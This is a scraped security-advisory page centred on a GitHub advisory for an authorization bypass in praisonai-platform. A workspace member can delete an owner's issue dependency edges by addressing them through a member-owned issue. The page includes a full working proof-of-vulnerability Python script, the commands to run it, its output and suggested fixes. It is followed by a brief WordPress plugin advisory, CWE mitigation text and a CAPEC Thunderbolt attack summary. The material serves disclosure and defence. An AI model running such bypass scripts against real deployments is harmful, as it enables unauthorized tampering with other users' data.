    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        owner_issue_id = await _create_issue(
            client, workspace_id, owner_headers, "Owner-owned blocked issue"
        )
        member_issue_id = await _create_issue(
            client, workspace_id, member_headers, "Member-owned related issue"
        )

        dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=owner_headers,
        )
        dep_resp.raise_for_status()
        dep_id = dep_resp.json()["id"]

        member_delete_owner_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        member_delete_member_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        owner_list_after_member_delete = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            headers=owner_headers,
        )

        owner_issue_b = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue B"
        )
        owner_issue_c = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue C"
        )
        owner_only_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/",
            json={"depends_on_issue_id": owner_issue_c, "type": "blocks"},
            headers=owner_headers,
        )
        owner_only_dep_resp.raise_for_status()
        owner_only_dep_id = owner_only_dep_resp.json()["id"]
        member_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=member_headers,
        )
        owner_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=owner_headers,
        )

        outsider_create_dependency = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=outsider_headers,
        )

        member_created_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "related"},
            headers=member_headers,
        )
        if member_created_dep_resp.status_code == 201:
            member_created_dep_id = member_created_dep_resp.json()["id"]
            await client.delete(
                f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}",
                headers=owner_headers,
            )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    dependencies_after_delete = (
        owner_list_after_member_delete.json()
        if owner_list_after_member_delete.status_code == 200
        else None
    )
    checks = {
        "member_delete_owner_issue_endpoint": member_delete_owner_endpoint.status_code,
        "member_delete_member_issue_endpoint": member_delete_member_endpoint.status_code,
        "owner_dependency_count_after_member_delete": (
            len(dependencies_after_delete) if dependencies_after_delete is not None else None
        ),
        "member_delete_owner_only_dependency": member_delete_owner_only_dep.status_code,
        "owner_delete_owner_only_dependency": owner_delete_owner_only_dep.status_code,
        "non_member_create_dependency": outsider_create_dependency.status_code,
        "member_create_dependency_on_owner_issue": member_created_dep_resp.status_code,
    }
    vulnerable = (
        checks["member_delete_owner_issue_endpoint"] == 403
        and checks["member_delete_member_issue_endpoint"] == 204
        and checks["owner_dependency_count_after_member_delete"] == 0
        and checks["member_delete_owner_only_dependency"] == 403
        and checks["owner_delete_owner_only_dependency"] == 204
        and checks["non_member_create_dependency"] == 403
        and checks["member_create_dependency_on_owner_issue"] == 201
    )
    return {
        "package": "praisonai-platform",
        "source": _source_id(repo),
        "workspace_role": "member",
        "summary": (
            "A workspace member can delete a dependency edge that protects an owner-created "
            "issue by addressing the same dependency through a member-owned related issue."
        ),
        "issue_ids": {
            "owner_issue": owner_issue_id,
            "member_issue": member_issue_id,
        },
        "dependency_id": dep_id,
        "checks": checks,
        "vulnerable": vulnerable,
    }


def _source_id(repo: Path | None) -> str:
    if repo is None:
        import importlib.metadata

        return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
    rev = subprocess.check_output(
        ["git", "-C", str(repo), "rev-parse", "HEAD"],
        text=True,
    ).strip()
    return f"git:{rev}"


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path)
    parser.add_argument("--json", action="store_true")
    args = parser.parse_args()

    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
    if args.json:
        print(json.dumps(result, indent=2, sort_keys=True))
    else:
        for key, value in result["checks"].items():
            print(f"{key}: {value}")
        print(f"vulnerable: {result['vulnerable']}")
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:28:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Platform members can delete owner issue dependencies through member-owned related issues\n\n## Summary\n\n`praisonai-platform` issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py` defines `DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`. The route first verifies that the URL `issue_id` is in the workspace, loads the dependency by `dep_id`, and accepts the dependency when either `dep.issue_id == issue_id` or `dep.depends_on_issue_id == issue_id`. It then calls `require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id)` for the URL issue only.\n\n`src/praisonai-platform/praisonai_platform/api/deps.py` implements `require_delete_permission` as \"admin/owner or resource owner\". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy `resource_owner_id == user.id`, and delete the dependency edge that is also returned from the owner-created issue\u0027s dependency list.\n\nThe same route family also lets any workspace member create dependency edges on owner-created issues with only `require_workspace_member`. `POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/` verifies that both issues are in the workspace, then calls `DependencyService.create(issue_id, body.depends_on_issue_id, body.type)` without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns `403` while the related member issue endpoint deletes the same edge with `204`.\n\nThe intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns `403`, an owner deleting the same dependency returns `204`, and a non-member creating a dependency returns `403`. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.\n\nEssential excerpt:\n\n```python\ndep_resp = await client.post(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n    headers=owner_headers,\n)\ndep_id = dep_resp.json()[\"id\"]\n\nmember_delete_owner_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nmember_delete_member_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nowner_list_after_member_delete = await client.get(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    headers=owner_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_dependency_delete_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"vulnerable\": true\n}\n```\n\nThe key vulnerable sequence is `member_delete_owner_issue_endpoint == 403`, followed by `member_delete_member_issue_endpoint == 204` for the same dependency id, followed by `owner_dependency_count_after_member_delete == 0`.\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.\npraisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\npraisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\n```\n\n## Impact\n\nAn ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove `blocks`, `blocked_by`, or `related` workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.\n\n## Suggested Fix\n\nDefine authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary `dep.issue_id` issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.\n\nFor creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.\n\nAdd regression tests for these cases: a member cannot delete an owner issue -\u003e member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner-side dependency delete bypass is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member dependency deletes already returned `204`, so this narrower bypass is masked by broader older delete authorization behavior.\n\nSuggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.\n\n`GHSA-4x6r-9v57-3gqw`, \"praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR\", covers older cross-workspace dependency endpoint IDOR behavior in versions `\u003c= 0.1.2`. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns `403`.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns `403` in current head, `0.1.6`, and `0.1.8`; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.\n\nOlder cross-workspace object IDOR advisories such as `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_delete_owner_issue_endpoint\": 204\n\"member_delete_member_issue_endpoint\": 404\n\"member_delete_owner_only_dependency\": 204\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 404\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.6 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.8 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_dependency_delete_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform issue-dependency delete authorization.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(\n            f\"register failed for {email}: {response.status_code} {response.text}\"\n        )\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n    client: Any,\n    workspace_id: str,\n    headers: dict[str, str],\n    title: str,\n) -\u003e str:\n    response = await client.post(\n        f\"/api/v1/workspaces/{workspace_id}/issues/\",\n        json={\"title\": title, \"priority\": \"high\"},\n        headers=headers,\n    )\n    response.raise_for_status()\n    return response.json()[\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        owner_issue_id = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner-owned blocked issue\"\n        )\n        member_issue_id = await _create_issue(\n            client, workspace_id, member_headers, \"Member-owned related issue\"\n        )\n\n        dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        dep_resp.raise_for_status()\n        dep_id = dep_resp.json()[\"id\"]\n\n        member_delete_owner_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        member_delete_member_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        owner_list_after_member_delete = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            headers=owner_headers,\n        )\n\n        owner_issue_b = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue B\"\n        )\n        owner_issue_c = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue C\"\n        )\n        owner_only_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/\",\n            json={\"depends_on_issue_id\": owner_issue_c, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        owner_only_dep_resp.raise_for_status()\n        owner_only_dep_id = owner_only_dep_resp.json()[\"id\"]\n        member_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=member_headers,\n        )\n        owner_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=owner_headers,\n        )\n\n        outsider_create_dependency = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=outsider_headers,\n        )\n\n        member_created_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"related\"},\n            headers=member_headers,\n        )\n        if member_created_dep_resp.status_code == 201:\n            member_created_dep_id = member_created_dep_resp.json()[\"id\"]\n            await client.delete(\n                f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}\",\n                headers=owner_headers,\n            )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    dependencies_after_delete = (\n        owner_list_after_member_delete.json()\n        if owner_list_after_member_delete.status_code == 200\n        else None\n    )\n    checks = {\n        \"member_delete_owner_issue_endpoint\": member_delete_owner_endpoint.status_code,\n        \"member_delete_member_issue_endpoint\": member_delete_member_endpoint.status_code,\n        \"owner_dependency_count_after_member_delete\": (\n            len(dependencies_after_delete) if dependencies_after_delete is not None else None\n        ),\n        \"member_delete_owner_only_dependency\": member_delete_owner_only_dep.status_code,\n        \"owner_delete_owner_only_dependency\": owner_delete_owner_only_dep.status_code,\n        \"non_member_create_dependency\": outsider_create_dependency.status_code,\n        \"member_create_dependency_on_owner_issue\": member_created_dep_resp.status_code,\n    }\n    vulnerable = (\n        checks[\"member_delete_owner_issue_endpoint\"] == 403\n        and checks[\"member_delete_member_issue_endpoint\"] == 204\n        and checks[\"owner_dependency_count_after_member_delete\"] == 0\n        and checks[\"member_delete_owner_only_dependency\"] == 403\n        and checks[\"owner_delete_owner_only_dependency\"] == 204\n        and checks[\"non_member_create_dependency\"] == 403\n        and checks[\"member_create_dependency_on_owner_issue\"] == 201\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": (\n            \"A workspace member can delete a dependency edge that protects an owner-created \"\n            \"issue by addressing the same dependency through a member-owned related issue.\"\n        ),\n        \"issue_ids\": {\n            \"owner_issue\": owner_issue_id,\n            \"member_issue\": member_issue_id,\n        },\n        \"dependency_id\": dep_id,\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-mxmx-rh57-jx58",
  "modified": "2026-10-07T14:28:56Z",
  "published": "2026-10-07T14:28:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-mxmx-rh57-jx58"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues"
}

GHSA-MXQ6-8688-3XC6

Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-20 18:31
VLAI
Details

Missing Authorization vulnerability in scripteo Ads Pro ap-plugin-scripteo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ads Pro: from n/a through <= 5.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-25388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T09:16:20Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in scripteo Ads Pro ap-plugin-scripteo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ads Pro: from n/a through \u003c= 5.0.",
  "id": "GHSA-mxq6-8688-3xc6",
  "modified": "2026-02-20T18:31:27Z",
  "published": "2026-02-19T18:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25388"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/ap-plugin-scripteo/vulnerability/wordpress-ads-pro-plugin-5-0-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.